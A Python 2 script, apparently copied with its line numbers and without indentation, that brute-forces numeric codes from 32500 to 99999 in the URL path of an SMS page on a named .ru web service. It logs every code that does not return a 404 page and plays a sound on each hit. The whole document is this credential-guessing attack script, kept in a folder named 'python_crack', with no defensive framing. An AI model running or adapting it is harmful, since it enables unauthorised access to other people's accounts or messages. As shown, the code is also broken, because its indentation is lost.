- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
import urllib
import time
import pygame
filename = u"c:\\python_crack\\404.txt"
filename2 = u"c:\\python_crack\\found.txt"
music_file = "bizwarn.wav"
happy="deeoo.wav"
freq = 44100 # audio CD quality
bitsize = -32 # unsigned 16 bit
channels = 2 # 1 is mono, 2 is stereo
buffer = 1024 # number of samples
pygame.mixer.init(freq, bitsize, channels, buffer)
# optional volume 0 to 1.0
pygame.mixer.music.set_volume(1)
def play_music(music_file):
"""
stream music with mixer.music module in blocking manner
this will stream the sound from disk while playing
"""
clock = pygame.time.Clock()
try:
pygame.mixer.music.load(music_file)
print "Music file %s loaded!" % music_file
except pygame.error:
print "File %s not found! (%s)" % (music_file, pygame.get_error())
return
pygame.mixer.music.play()
while pygame.mixer.music.get_busy():
# check if playback has finished
clock.tick(30)
def urlget(pas):
str_="http://yana.megalinecom.ru/56784/sms/"+pas+"/"
ff=urllib.urlopen(str_)
l=ff.readlines()
ff.close
return l[2]
def save(fn,st):
f=file(fn,'a')
print >> f, st
f.close
for i in range(32500,99999):
time.sleep(0.28)
pasw=str(i)
try:
text = urlget(pasw)
except:
print "Exception!!!!"
i=i-1
save(filename2,pasw+' | ')
play_music(music_file)
time.sleep(60)
nfs='<title>404 Not Found</title>'+'\n'
if text==nfs:
found=0
save(filename, pasw+' | '+text)
else:
found=1
save(filename2,pasw+' | '+text)
play_music(happy)
print pasw+' | '+str(found)